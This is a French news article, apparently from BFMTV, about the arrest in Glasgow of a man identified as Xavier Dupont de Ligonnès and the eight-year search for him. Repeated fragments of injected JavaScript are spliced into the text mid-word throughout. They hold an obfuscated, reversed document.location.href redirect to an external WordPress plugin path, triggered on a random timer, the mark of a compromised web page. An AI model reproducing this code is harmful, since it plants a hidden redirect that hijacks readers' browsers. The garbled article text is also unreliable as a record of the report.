FRANCEJUSTICE

1000 signalements en 8 ans de cavale: la traque hors normes pour retrouver Xavier Dupont de Ligonnès

Après huit ans de cavale, un homme identifié comme Xavier Dupont de Ligonnès par la police écossaise a été arrêté à l’aéroport de Glasgow ce vendredi.

Après huit ans de cavale, les enquêteurs écossais ont arrêté Xavier Dupont de Ligonnès ce vendredi à l’aéroport de Glasgow, en Ecosse, a-t-on appris de sources concordantes. 

L’homme est recherché depuis 2011, considéré comme le suspect n°1 dans l’assassinat de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toute sa famille. Les corps de sa femme, de ses quatre enfants et du chien de la famille avaient été retrouvés sous la terrasse de la demeure familiale à Nantes en Loire-Atlantique.

De Nantes au sud de la France

Les enquêteurs ont traqué l’homme pendant huit ans. Quelques jours après le drame, le 3 avril 2011, les enquêteurs français ont à leur disposition des éléments prouvant que Xavier Dupont de Ligonnès a fui dans le sud de la France. Ils savent que dans la nuit du 11 au 12 avril, le père de famille a passé la nuit dans un hôtel à Blagnac, dans la banlieue de Toulouse. Le 12 au soir, c’est à l’auberge de Cassagne, un luxueux hôtel du Pontet dans le Vaucluse, qu’il a séjourné. Le 14, des caméras de vidéosurveillance l’ont filmé en train de retirer 30 euros à un distributeur à Roquebrune-sur-Argens. Après avoir passé la nuit dans un hôtel Formule 1 de la ville, il a quitté l’établissement, abtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donnant son véhicule sur le parking. Une battue exceptionnelle a alors lieu avec de nombreux chiens et des dizaines d’enquêteurs, en vain. Les enquêteurs perdent sa trace après ce dernier enregistrement. 

Les policiers le pensent d’abord mort, retrouvant un corps à proximité de l’hôtel Formule 1. La piste est cependant rapidement écartée. Les enquêteurs se focalisent alors sur les obsessions mystiques de Xavier Dupont de Ligonnès et écument toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tous les monastères et couvents du pays.

1000 signalements

Depuis, 1000 signalements ont été effectués depuis le Var, l’Allier mais aussi depuis l’Argentine et la Thaïltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ande, sans que jamais Xavier Dupont de Ligonnès ne soit identifié. En 2015 et en 2017, des corps et des ossements sont retrouvés dans le sud de la France. Systématiquement, la piste Dupont de Ligonnès est abtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donnée. 

Alors que les enquêteurs le pensent souvent mort, un nouvel élément relance l’enquête en 2015: une lettre envoyée à l’Agence France Presse depuis Nantes et signée Xavier Dupont de Ligonnès indique “je suis encore vivant” en gros caractères,  puis en minuscule “de là jusqu’à cette heure (sic)”,  au toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dos d’une photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to de deux de ses fils.

Une vaste opération de police dans un monastère

En janvier 2018, les enquêteurs ont un dernier faux espoir lors d’une opération policière dans un monastère de Roquebrune-sur-Argens dans le Var. Deux fidèles affirment avoir reconnu Xavier Dupont de Ligonnès au monastère Saint-Désert-des Carmes. Pendant près de quatre heures, les vingt policiers fouillent l’ensemble de l’institution religieuse: du rez-de-chaussée aux étages, les lieux de vie commune mais aussi l’ermitage où certains moines ont choisi de vivre reclus. Les recherches sont vaines. Les deux croyants ont en réalité pris un autre moine, le frère Jean-Marie Joseph pour le suspect.

Source: BFMTV

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